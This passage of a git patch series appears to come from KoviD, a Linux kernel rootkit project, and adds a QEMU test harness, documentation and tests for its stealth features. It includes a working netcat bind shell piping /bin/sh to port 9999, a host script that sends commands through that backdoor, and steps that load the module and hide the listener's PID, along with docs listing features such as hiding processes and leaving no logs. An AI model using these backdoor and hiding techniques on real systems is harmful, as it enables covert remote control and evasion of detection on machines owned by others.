copy of the root filesystem + TEMP_ROOTFS="/tmp/rootfs_writable_$(basename "$ROOT_FS")" + cp "${ROOT_FS}" "${TEMP_ROOTFS}" + + echo "Starting QEMU in background for backdoor test: $(basename "$GUEST_TEST_SCRIPT")" + + # Launch QEMU in the background and redirect output to the build directory + qemu-system-x86_64 \ + -kernel "$KERNEL_IMAGE" \ + -append "root=/dev/sda rw console=ttyS0,115200 init=/sbin/init" \ + -drive format=raw,file="$TEMP_ROOTFS" \ + -device e1000,netdev=net0 \ + -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22,hostfwd=tcp::9999-:9999 \ + $QEMU_FLAGS > "${CMAKE_BINARY_DIR}/qemu_output_$(basename "$GUEST_TEST_SCRIPT").log" 2>&1 & + local QEMU_PID=$! + + # Wait for SSH to become available + echo "Waiting for SSH to be ready for backdoor test: $(basename "$GUEST_TEST_SCRIPT")..." + for i in {1..30}; do + if ssh -i "$SSH_KEY" -o BatchMode=yes -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then + echo "SSH connection established for backdoor test: $(basename "$GUEST_TEST_SCRIPT")." + break + fi + echo "SSH not ready, retrying in 3 seconds... (Attempt $i/30)" + sleep 3 + done + + # Final check if SSH is still not available + if ! ssh -i "$SSH_KEY" -o BatchMode=yes -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then + echo "Failed to establish SSH connection to QEMU for backdoor test: $(basename "$GUEST_TEST_SCRIPT"). Exiting..." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + fi + + # Copy Netcat and its libraries to the guest + echo "Copying Netcat and its libraries to QEMU..." + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /bin/nc.openbsd root@localhost:"/bin/nc" || { + echo "Failed to copy Netcat to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /lib/x86_64-linux-gnu/libbsd.so.0 root@localhost:"/lib/libbsd.so.0" || { + echo "Failed to copy libbsd.so.0 to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /lib/x86_64-linux-gnu/libmd.so.0 root@localhost:"/lib/libmd.so.0" || { + echo "Failed to copy libmd.so.0 to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + # Transfer and execute the guest backdoor test script + echo "Transferring and executing guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") on QEMU..." + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" "$GUEST_TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$GUEST_TEST_SCRIPT")" || { + echo "Failed to transfer guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + # Execute the guest backdoor test script in the background on QEMU + ssh -i "$SSH_KEY" -o StrictHostKeyChecking=no -p "${SSH_PORT}" root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename "$GUEST_TEST_SCRIPT") && $RFS_PATH/$(basename "$GUEST_TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG_GUEST 2>&1 &" || { + echo "Failed to execute guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") on QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + sleep 4 # Wait briefly to ensure the test script starts + + # Execute the host backdoor test script + echo "Executing host backdoor test script: $(basename "$HOST_TEST_SCRIPT")..." + bash "$HOST_TEST_SCRIPT" > "$TEST_LOG_HOST" 2>&1 + + # Retrieve the guest log file from QEMU + echo "Retrieving log file $TEST_LOG_GUEST from QEMU..." + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" root@localhost:"$RFS_PATH/$TEST_LOG_GUEST" "${CMAKE_BINARY_DIR}/" || { + echo "Failed to retrieve log file $TEST_LOG_GUEST from QEMU." + } + + # Manually kill QEMU after backdoor test + echo "Killing QEMU after backdoor test: $(basename "$GUEST_TEST_SCRIPT")..." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + + # Wait for QEMU to terminate + wait "$QEMU_PID" 2>/dev/null || true + + # Display completion messages + echo "Backdoor test script $(basename "$GUEST_TEST_SCRIPT") completed. Output saved to $TEST_LOG_GUEST." + echo "Host backdoor test script $(basename "$HOST_TEST_SCRIPT") completed. Output saved to $TEST_LOG_HOST." + + # Cleanup + echo "Cleaning up temporary files for backdoor test: $(basename "$GUEST_TEST_SCRIPT")..." + rm -f "$TEMP_ROOTFS" + echo "Cleanup completed for backdoor test: $(basename "$GUEST_TEST_SCRIPT")." +} + + +# Function to execute backdoor tests in a given directory +# Parameters: +# $1 - Path to the backdoor test directory +execute_backdoor_tests() { + local DIR=$1 + + for TEST_FILE in "$DIR"/*.test; do + local GUEST_TEST_SCRIPT="${TEST_FILE%.test}.sh" + local HOST_TEST_SCRIPT="${TEST_FILE%.test}_host.sh" + + echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may mark some backdoor tests as Unsupported" + + if [[ -f "$TEST_FILE" && -f "$GUEST_TEST_SCRIPT" && -f "$HOST_TEST_SCRIPT" ]]; then + # Check for DEPLOY_ONLY and DEBUG_ONLY markers + local DEPLOY_ONLY_MARKER=$(grep -c '^# DEPLOY_ONLY' "$TEST_FILE") + local DEBUG_ONLY_MARKER=$(grep -c '^# DEBUG_ONLY' "$TEST_FILE") + + if [[ "$DEPLOY_ONLY_MARKER" -gt 0 && "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") because it has both DEPLOY_ONLY and DEBUG_ONLY markers." + elif [[ "$DEPLOY_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" == "1" ]]; then + execute_backdoor_test "$GUEST_TEST_SCRIPT" "$HOST_TEST_SCRIPT" + else + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") because it requires DEPLOY=1." + fi + elif [[ "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" != "1" ]]; then + execute_backdoor_test "$GUEST_TEST_SCRIPT" "$HOST_TEST_SCRIPT" + else + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") because it's a DEBUG_ONLY test and DEPLOY=1." + fi else - echo "Skipping $(basename "$TEST_SCRIPT") because it's a DEBUG_ONLY test and DEPLOY=1." + # No marker, run the backdoor test regardless of DEPLOY + execute_backdoor_test "$GUEST_TEST_SCRIPT" "$HOST_TEST_SCRIPT" fi else - # No marker, run the test regardless of DEPLOY - execute_test_script "$TEST_SCRIPT" + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") as it or its companion files are missing." fi - else - echo "Skipping $(basename "$TEST_SCRIPT") as it or the .test file is missing." - fi -done + done +} + +# Main Execution + +# Execute Regular Tests +echo "==============================" +echo "Starting Regular Tests" +echo "==============================" +execute_regular_tests "$TEST_DIR" + +# Execute Backdoor Tests +echo "==============================" +echo "Starting Backdoor Tests" +echo "==============================" +execute_backdoor_tests "$TEST_BACKDOOR_DIR" diff --git a/test/backdoors/nc-backdoor.sh b/test/backdoors/nc-backdoor.sh new file mode 100755 index 0000000..b37c324 --- /dev/null +++ b/test/backdoors/nc-backdoor.sh @@ -0,0 +1,15 @@ +#!/bin/sh + +PIPE="/tmp/backpipe" + +# Clean up any existing pipe +rm -f "$PIPE" + +# Create a named pipe +mkfifo "$PIPE" + +# Start the backdoor listener using /bin/nc +echo "Starting backdoor listener on port 9999..." +(cat "$PIPE" | /bin/sh 2>&1 | /bin/nc -l 9999 > "$PIPE") & + +echo "Backdoor listener started." diff --git a/test/backdoors/nc-backdoor.test b/test/backdoors/nc-backdoor.test new file mode 100644 index 0000000..e4666ab --- /dev/null +++ b/test/backdoors/nc-backdoor.test @@ -0,0 +1,4 @@ +# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor.log %s + +# CHECK: Starting backdoor listener on port 9999 +# CHECK: Backdoor listener started diff --git a/test/backdoors/nc-backdoor_host.sh b/test/backdoors/nc-backdoor_host.sh new file mode 100755 index 0000000..8babdf7 --- /dev/null +++ b/test/backdoors/nc-backdoor_host.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +# Define the backdoor host and port +BACKDOOR_HOST="localhost" +BACKDOOR_PORT=9999 + +# Function to send a command and verify the response +send_command() { + local CMD=$1 + local EXPECTED_OUTPUT=$2 + + echo "Sending command: $CMD" + RESPONSE=$(echo "$CMD" | nc -w 5 "$BACKDOOR_HOST" "$BACKDOOR_PORT") + echo "Received response: $RESPONSE" + + if echo "$RESPONSE" | grep -q "$EXPECTED_OUTPUT"; then + echo "Command '$CMD' executed successfully." + else + echo "Command '$CMD' failed or did not return expected output." + exit 1 + fi +} + +# Wait briefly to ensure the backdoor is ready +sleep 5 + +echo "Connecting to backdoor at $BACKDOOR_HOST:$BACKDOOR_PORT..." + +# Send test command +send_command "uname -a" "Linux" + +echo "Backdoor command executed successfully." diff --git a/test/backdoors/nc-backdoor_host.test b/test/backdoors/nc-backdoor_host.test new file mode 100644 index 0000000..d1470d5 --- /dev/null +++ b/test/backdoors/nc-backdoor_host.test @@ -0,0 +1,7 @@ +# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor_host.log %s + +# CHECK: Connecting to backdoor at localhost:9999... +# CHECK: Sending command: uname -a +# CHECK: Received response: Linux buildroot 5.10.0 +# CHECK: Command 'uname -a' executed successfully. +# CHECK: Backdoor command executed successfully. From 2d0fa7f1ae2c647cf081b3a13159ca0e086e7542 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Mon, 18 Nov 2024 13:37:05 +0100 Subject: [PATCH 09/23] test: Improve nc backdoor test --- docs/TestFeatures.md | 1 + test/backdoors/nc-backdoor.sh | 8 ++++++++ test/backdoors/nc-backdoor.test | 4 ++++ test/backdoors/nc-backdoor_host.sh | 21 ++++++++++----------- test/backdoors/nc-backdoor_host.test | 9 +++++---- 5 files changed, 28 insertions(+), 15 deletions(-) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index e580128..5145f6f 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -174,3 +174,4 @@ NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should co | No tainted messages/log appear in DEPLOY | Yes | features/no-kovid-logs-in-deploy.test | | kovid (DEPLOY) doesn't appear in /var /sys etc. | Yes | features/no-kovid-found.test | | Hide/Unhide Module Test in DEBUG Mode | Yes | features/hide-unhide-module.test | +| backdoor (nc) | Yes | backdoors/nc-backdoor{_host}.test | diff --git a/test/backdoors/nc-backdoor.sh b/test/backdoors/nc-backdoor.sh index b37c324..8c006ba 100755 --- a/test/backdoors/nc-backdoor.sh +++ b/test/backdoors/nc-backdoor.sh @@ -12,4 +12,12 @@ mkfifo "$PIPE" echo "Starting backdoor listener on port 9999..." (cat "$PIPE" | /bin/sh 2>&1 | /bin/nc -l 9999 > "$PIPE") & +NC_PID=$! + +echo "PID of nc is $NC_PID" echo "Backdoor listener started." + +insmod kovid.ko +kill -CONT 31337 + +echo $NC_PID > /proc/myprocname diff --git a/test/backdoors/nc-backdoor.test b/test/backdoors/nc-backdoor.test index e4666ab..36d411c 100644 --- a/test/backdoors/nc-backdoor.test +++ b/test/backdoors/nc-backdoor.test @@ -1,4 +1,8 @@ +# REQUIRES: DEBUG_ONLY + # RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor.log %s # CHECK: Starting backdoor listener on port 9999 +# CHECK: PID of nc is # CHECK: Backdoor listener started +# CHECK: sh: can't kill pid 31337: No such process diff --git a/test/backdoors/nc-backdoor_host.sh b/test/backdoors/nc-backdoor_host.sh index 8babdf7..2ccc50a 100755 --- a/test/backdoors/nc-backdoor_host.sh +++ b/test/backdoors/nc-backdoor_host.sh @@ -1,24 +1,23 @@ #!/bin/bash -set -e # Define the backdoor host and port BACKDOOR_HOST="localhost" BACKDOOR_PORT=9999 -# Function to send a command and verify the response -send_command() { +# Function to send a command and verify that a specific string is NOT in the response +send_command_and_verify_absence() { local CMD=$1 - local EXPECTED_OUTPUT=$2 + local ABSENT_STRING=$2 echo "Sending command: $CMD" RESPONSE=$(echo "$CMD" | nc -w 5 "$BACKDOOR_HOST" "$BACKDOOR_PORT") echo "Received response: $RESPONSE" - if echo "$RESPONSE" | grep -q "$EXPECTED_OUTPUT"; then - echo "Command '$CMD' executed successfully." - else - echo "Command '$CMD' failed or did not return expected output." + if echo "$RESPONSE" | grep -q "$ABSENT_STRING"; then + echo "Command '$CMD' failed: '$ABSENT_STRING' found in the output." exit 1 + else + echo "Command '$CMD' executed successfully: '$ABSENT_STRING' not found in the output." fi } @@ -27,7 +26,7 @@ sleep 5 echo "Connecting to backdoor at $BACKDOOR_HOST:$BACKDOOR_PORT..." -# Send test command -send_command "uname -a" "Linux" +# Send test command to check that /bin/nc is NOT present in ps -a +send_command_and_verify_absence "ps -a" "/bin/nc" -echo "Backdoor command executed successfully." +echo "Backdoor test passed: /bin/nc is not present in the process list." diff --git a/test/backdoors/nc-backdoor_host.test b/test/backdoors/nc-backdoor_host.test index d1470d5..c1c09fa 100644 --- a/test/backdoors/nc-backdoor_host.test +++ b/test/backdoors/nc-backdoor_host.test @@ -1,7 +1,8 @@ +# REQUIRES: DEBUG_ONLY # RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor_host.log %s # CHECK: Connecting to backdoor at localhost:9999... -# CHECK: Sending command: uname -a -# CHECK: Received response: Linux buildroot 5.10.0 -# CHECK: Command 'uname -a' executed successfully. -# CHECK: Backdoor command executed successfully. +# CHECK: Sending command: ps -a +# CHECK: Received response: PID USER COMMAND +# CHECK: 'ps -a' executed successfully: '/bin/nc' not found in the output. +# CHECK: Backdoor test passed: /bin/nc is not present in the process list. From 865ce7876e7c6e511d7f7b3351cf34f602eb29ec Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 19 Nov 2024 11:40:23 +0100 Subject: [PATCH 10/23] Improve docs --- docs/TestFeatures.md | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 5145f6f..19b48d0 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -20,6 +20,21 @@ LFS should be fetched: $ git lfs fetch --all ``` +Usual set of commands to be used: + +``` +$ git clone https://github.com/carloslack/KoviD.git main-KoviD && cd main-KoviD +$ git submodule update --init test/test-artefacts +$ mkdir build && cd build +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" && make check-kovid +``` + +Or if you do not want to use custom Linux build: + +``` +$ cmake ../ -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" && make check-kovid +``` + ## Build KoviD Old way (using pre-existing GNU Makefile): @@ -127,7 +142,8 @@ sudo apt-get install llvm-18-dev sudo apt-get install llvm-18-tools sudo apt-get install libslirp-dev sudo apt-get install qemu-system-x86 -sudo apt install netcat +sudo apt install netcat nmap +sudo apt-get -y install socat ``` Run tests: From f1ef32df3cf560078a8672dacb7c99cd715a9496 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 19 Nov 2024 13:05:06 +0100 Subject: [PATCH 11/23] tests: Introduce CROSS_TESTS Run tests on qemu if custom Linux path was provided only. For now, we have artefacts for Linux 5.10 only. --- CMakeLists.txt | 15 ++++++ docs/TestFeatures.md | 46 ++++++++++++++----- test/Artefacts/qemu-runner.sh | 12 ++--- test/CMakeLists.txt | 44 ++++++++++++++---- .../nc-backdoor.sh => complex/nc-pid-hide.sh} | 0 .../nc-pid-hide.test} | 1 + .../nc-pid-hide_host.sh} | 0 .../nc-pid-hide_host.test} | 2 + .../extract-base-address.sh | 0 .../extract-base-address.test | 2 + test/{features => cross}/hide-pid.sh | 0 test/{features => cross}/hide-pid.test | 2 + .../{features => cross}/hide-unhide-module.sh | 0 .../hide-unhide-module.test | 2 + test/{features => cross}/no-kovid-found.sh | 0 test/{features => cross}/no-kovid-found.test | 1 + .../no-kovid-logs-in-deploy.sh | 0 .../no-kovid-logs-in-deploy.test | 1 + 18 files changed, 101 insertions(+), 27 deletions(-) rename test/{backdoors/nc-backdoor.sh => complex/nc-pid-hide.sh} (100%) rename test/{backdoors/nc-backdoor.test => complex/nc-pid-hide.test} (91%) rename test/{backdoors/nc-backdoor_host.sh => complex/nc-pid-hide_host.sh} (100%) rename test/{backdoors/nc-backdoor_host.test => complex/nc-pid-hide_host.test} (93%) rename test/{features => cross}/extract-base-address.sh (100%) rename test/{features => cross}/extract-base-address.test (88%) rename test/{features => cross}/hide-pid.sh (100%) rename test/{features => cross}/hide-pid.test (87%) rename test/{features => cross}/hide-unhide-module.sh (100%) rename test/{features => cross}/hide-unhide-module.test (92%) rename test/{features => cross}/no-kovid-found.sh (100%) rename test/{features => cross}/no-kovid-found.test (88%) rename test/{features => cross}/no-kovid-logs-in-deploy.sh (100%) rename test/{features => cross}/no-kovid-logs-in-deploy.test (88%) diff --git a/CMakeLists.txt b/CMakeLists.txt index 729600f..4cd71b1 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -44,6 +44,21 @@ if(NOT DEPLOY) set(DEBUG_PR -DDEBUG_RING_BUFFER) endif() +# Cross tests are the ones we run on qemu. +# It needs both KOVID_LINUX and KERNEL_DIR to be setup +# since we support linux 5.10 only for this kind of tests. +option(CROSS_TESTS "Turn ON cross tests on qemu" OFF) + +# Check if KOVID_LINUX and KERNEL_DIR variables are set +if(DEFINED KOVID_LINUX AND "${KOVID_LINUX}" STREQUAL "5.10" AND DEFINED KERNEL_DIR AND NOT "${KERNEL_DIR}" STREQUAL "") + set(CROSS_TESTS ON CACHE BOOL "Turn ON cross tests on qemu" FORCE) +endif() + +# Print status messages to verify settings +message(STATUS "KOVID_LINUX: ${KOVID_LINUX}") +message(STATUS "KERNEL_DIR: ${KERNEL_DIR}") +message(STATUS "CROSS_TESTS: ${CROSS_TESTS}") + # Define COMPILER_OPTIONS as a list set(COMPILER_OPTIONS -Wno-error diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 19b48d0..00d7d85 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -3,6 +3,41 @@ This document describes the process of testing the features of Kovid LKM. Please see `docs/QEMUSetupForTesting.md` that contains info for qemu setup. +## Insall dependecies + +``` +$ sudo apt install cmake +$ sudo apt install g++ +``` + +Please make sure to install llvm-tools, since we will be using some of the tools for testing infrastructure: + +``` +sudo apt-get install llvm-18-dev +sudo apt-get install llvm-18-tools +sudo apt install python3-pip +sudo apt-get install libslirp-dev +sudo apt-get install qemu-system-x86 +sudo apt install netcat nmap +sudo apt-get -y install socat +``` + +On an older Ubuntu, follow https://apt.llvm.org/. +For example: + +``` +$ sudo bash -c "$(wget -O - https://apt.llvm.org/llvm.sh)" +``` + +If you do not have `llvm-lit` installed, do: + +``` +$ pip3 install lit +$ sudo ln -s ~/.local/bin/lit /usr/bin/llvm-lit +$ which llvm-lit +/usr/bin/llvm-lit +``` + ## Fetch LFS and submodules ``` @@ -135,17 +170,6 @@ Test Markers: ### Run tests -Please make sure to install llvm-tools, since we will be using some of the tools for testing infrastructure: - -``` -sudo apt-get install llvm-18-dev -sudo apt-get install llvm-18-tools -sudo apt-get install libslirp-dev -sudo apt-get install qemu-system-x86 -sudo apt install netcat nmap -sudo apt-get -y install socat -``` - Run tests: ``` diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index 31766c4..b89cf29 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -23,8 +23,8 @@ CMAKE_BINARY_DIR="${PROJECT_ROOT}/build" # Define paths for necessary files KERNEL_IMAGE="${PROJECT_ROOT}/test/test-artefacts/linux-5.10/bzImage" ROOT_FS="${PROJECT_ROOT}/test/test-artefacts/linux-5.10/rootfs.ext2" -TEST_DIR="${PROJECT_ROOT}/test/features" -TEST_BACKDOOR_DIR="${PROJECT_ROOT}/test/backdoors" # Directory for backdoor tests +TEST_DIR="${PROJECT_ROOT}/test/cross" +TEST_COMPLEX_DIR="${PROJECT_ROOT}/test/complex" RFS_PATH="/root" SSH_PORT=5555 SSH_KEY="${PROJECT_ROOT}/test/Artefacts/id_rsa_qemu" @@ -334,12 +334,12 @@ execute_backdoor_tests() { # Execute Regular Tests echo "==============================" -echo "Starting Regular Tests" +echo "Starting Regular Tests on QEMU" echo "==============================" execute_regular_tests "$TEST_DIR" -# Execute Backdoor Tests +# Execute Complex Tests echo "==============================" -echo "Starting Backdoor Tests" +echo "Starting Complex Tests on QEMU and host" echo "==============================" -execute_backdoor_tests "$TEST_BACKDOOR_DIR" +execute_backdoor_tests "$TEST_COMPLEX_DIR" diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt index ff2cbd9..6161024 100644 --- a/test/CMakeLists.txt +++ b/test/CMakeLists.txt @@ -27,19 +27,43 @@ configure_lit_site_cfg( ${CMAKE_CURRENT_SOURCE_DIR}/lit.cfg.py ) -option(DEPLOY "Turn off ring buffer debug" OFF) +# Find llvm-lit +find_program(LLVM_LIT NAMES llvm-lit lit PATHS "${LLVM_TOOLS_BINARY_DIR}" "${LLVM_BUILD_BINARY_DIR}" "/usr/bin" NO_DEFAULT_PATH) -# Define a custom target to run qemu-runner.sh before tests -add_custom_target(run-qemu-runner - COMMAND DEPLOY=${DEPLOY} bash ${CMAKE_BINARY_DIR}/qemu-runner.sh - WORKING_DIRECTORY ${CMAKE_BINARY_DIR} - COMMENT "Running qemu-runner.sh" -) +if(NOT LLVM_LIT) + message(FATAL_ERROR "llvm-lit not found. Please install it or specify its location.") +else() + message(STATUS "Found llvm-lit: ${LLVM_LIT}") +endif() + +# Check and set LLVM_EXTERNAL_LIT +if(DEFINED LLVM_EXTERNAL_LIT AND EXISTS ${LLVM_EXTERNAL_LIT}) + message(STATUS "Using LLVM_EXTERNAL_LIT: ${LLVM_EXTERNAL_LIT}") +else() + message(WARNING "LLVM_EXTERNAL_LIT not set or invalid, using LLVM_LIT instead") + set(LLVM_EXTERNAL_LIT ${LLVM_LIT} CACHE FILEPATH "Path to llvm-lit" FORCE) +endif() -add_lit_testsuite(check-kovid "Running the KOVID regression tests" +# Define the custom target if CROSS_TESTS is ON +if(CROSS_TESTS) + add_custom_target(run-qemu-runner + COMMAND DEPLOY=${DEPLOY} bash ${CMAKE_BINARY_DIR}/qemu-runner.sh + WORKING_DIRECTORY ${CMAKE_BINARY_DIR} + COMMENT "Running qemu-runner.sh" + ) + + add_lit_testsuite(check-kovid "Running the KOVID regression tests" ${CMAKE_CURRENT_BINARY_DIR} DEPENDS ${KOVID_TEST_DEPENDS} run-qemu-runner - ) + ) +else() + add_lit_testsuite(check-kovid "Running the KOVID regression tests" + ${CMAKE_CURRENT_BINARY_DIR} + DEPENDS ${KOVID_TEST_DEPENDS} + ) +endif() + set_target_properties(check-kovid PROPERTIES FOLDER "Tests") -add_lit_testsuites(KOVID ${CMAKE_CURRENT_SOURCE_DIR} DEPENDS ${KOVID_TEST_DEPENDS}) +# Add the main lit testsuites +add_lit_testsuites(KOVID ${CMAKE_CURRENT_SOURCE_DIR} DEPENDS ${KOVID_TEST_DEPENDS}) \ No newline at end of file diff --git a/test/backdoors/nc-backdoor.sh b/test/complex/nc-pid-hide.sh similarity index 100% rename from test/backdoors/nc-backdoor.sh rename to test/complex/nc-pid-hide.sh diff --git a/test/backdoors/nc-backdoor.test b/test/complex/nc-pid-hide.test similarity index 91% rename from test/backdoors/nc-backdoor.test rename to test/complex/nc-pid-hide.test index 36d411c..c45031c 100644 --- a/test/backdoors/nc-backdoor.test +++ b/test/complex/nc-pid-hide.test @@ -1,4 +1,5 @@ # REQUIRES: DEBUG_ONLY +# REQUIRES: CROSS_TESTS # RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor.log %s diff --git a/test/backdoors/nc-backdoor_host.sh b/test/complex/nc-pid-hide_host.sh similarity index 100% rename from test/backdoors/nc-backdoor_host.sh rename to test/complex/nc-pid-hide_host.sh diff --git a/test/backdoors/nc-backdoor_host.test b/test/complex/nc-pid-hide_host.test similarity index 93% rename from test/backdoors/nc-backdoor_host.test rename to test/complex/nc-pid-hide_host.test index c1c09fa..e80f972 100644 --- a/test/backdoors/nc-backdoor_host.test +++ b/test/complex/nc-pid-hide_host.test @@ -1,4 +1,6 @@ # REQUIRES: DEBUG_ONLY +# REQUIRES: CROSS_TESTS + # RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor_host.log %s # CHECK: Connecting to backdoor at localhost:9999... diff --git a/test/features/extract-base-address.sh b/test/cross/extract-base-address.sh similarity index 100% rename from test/features/extract-base-address.sh rename to test/cross/extract-base-address.sh diff --git a/test/features/extract-base-address.test b/test/cross/extract-base-address.test similarity index 88% rename from test/features/extract-base-address.test rename to test/cross/extract-base-address.test index 2fe202a..b9b742e 100644 --- a/test/features/extract-base-address.test +++ b/test/cross/extract-base-address.test @@ -1,3 +1,5 @@ +# REQUIRES: CROSS_TESTS + # RUN: FileCheck-18 --input-file=%kovid_testdir/extract-base-address.log %s # CHECK: sh: can't kill pid 31337: No such process diff --git a/test/features/hide-pid.sh b/test/cross/hide-pid.sh similarity index 100% rename from test/features/hide-pid.sh rename to test/cross/hide-pid.sh diff --git a/test/features/hide-pid.test b/test/cross/hide-pid.test similarity index 87% rename from test/features/hide-pid.test rename to test/cross/hide-pid.test index 92bbe94..80c98f2 100644 --- a/test/features/hide-pid.test +++ b/test/cross/hide-pid.test @@ -1,3 +1,5 @@ +# REQUIRES: CROSS_TESTS + # RUN: FileCheck-18 --input-file=%kovid_testdir/hide-pid.log %s # CHECK: sh: can't kill pid 31337: No such process diff --git a/test/features/hide-unhide-module.sh b/test/cross/hide-unhide-module.sh similarity index 100% rename from test/features/hide-unhide-module.sh rename to test/cross/hide-unhide-module.sh diff --git a/test/features/hide-unhide-module.test b/test/cross/hide-unhide-module.test similarity index 92% rename from test/features/hide-unhide-module.test rename to test/cross/hide-unhide-module.test index d873bc9..a369bd9 100644 --- a/test/features/hide-unhide-module.test +++ b/test/cross/hide-unhide-module.test @@ -1,4 +1,6 @@ # REQUIRES: DEBUG_ONLY +# REQUIRES: CROSS_TESTS + # Test: Hide/Unhide Module Test in DEBUG Mode # RUN: FileCheck-18 --input-file=%kovid_testdir/hide-unhide-module.log %s diff --git a/test/features/no-kovid-found.sh b/test/cross/no-kovid-found.sh similarity index 100% rename from test/features/no-kovid-found.sh rename to test/cross/no-kovid-found.sh diff --git a/test/features/no-kovid-found.test b/test/cross/no-kovid-found.test similarity index 88% rename from test/features/no-kovid-found.test rename to test/cross/no-kovid-found.test index fda8c12..469f03d 100644 --- a/test/features/no-kovid-found.test +++ b/test/cross/no-kovid-found.test @@ -1,4 +1,5 @@ # REQUIRES: DEPLOY_ONLY +# REQUIRES: CROSS_TESTS # RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-found.log %s diff --git a/test/features/no-kovid-logs-in-deploy.sh b/test/cross/no-kovid-logs-in-deploy.sh similarity index 100% rename from test/features/no-kovid-logs-in-deploy.sh rename to test/cross/no-kovid-logs-in-deploy.sh diff --git a/test/features/no-kovid-logs-in-deploy.test b/test/cross/no-kovid-logs-in-deploy.test similarity index 88% rename from test/features/no-kovid-logs-in-deploy.test rename to test/cross/no-kovid-logs-in-deploy.test index f8765d7..3398dc0 100644 --- a/test/features/no-kovid-logs-in-deploy.test +++ b/test/cross/no-kovid-logs-in-deploy.test @@ -1,4 +1,5 @@ # REQUIRES: DEPLOY_ONLY +# REQUIRES: CROSS_TESTS # RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-logs-in-deploy.log %s From 29e7bb4a4046595f18eb9e32f054689fe3c0ab51 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 19 Nov 2024 13:40:11 +0100 Subject: [PATCH 12/23] Fix docs --- docs/TestFeatures.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 00d7d85..e81b0c5 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -195,8 +195,8 @@ Here are information about testing of the features available. | Feature | Tested | Regression Test | | :--------------------------------------------------| :------------------------------| :--------------------------------- | -| Hide process | Yes | features/hide-pid.test | -| Extract base address of a running process | Yes | features/extract-base-address.test | +| Hide process | Yes | cross/hide-pid.test | +| Extract base address of a running process | Yes | cross/extract-base-address.test | | anti-rk's that are available (bpf-hookdetect) | No (hard to test on qemu) | None | | anti-rk's that are available (rkspotter) | No (build for non host kernel) | None | | anti-rk's that are available (rkbreaker) | No (build for non host kernel) | None | @@ -211,7 +211,7 @@ NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should co | Feature | Tested | Regression Test | | :--------------------------------------------------| :------------------------------| :------------------------------------ | -| No tainted messages/log appear in DEPLOY | Yes | features/no-kovid-logs-in-deploy.test | -| kovid (DEPLOY) doesn't appear in /var /sys etc. | Yes | 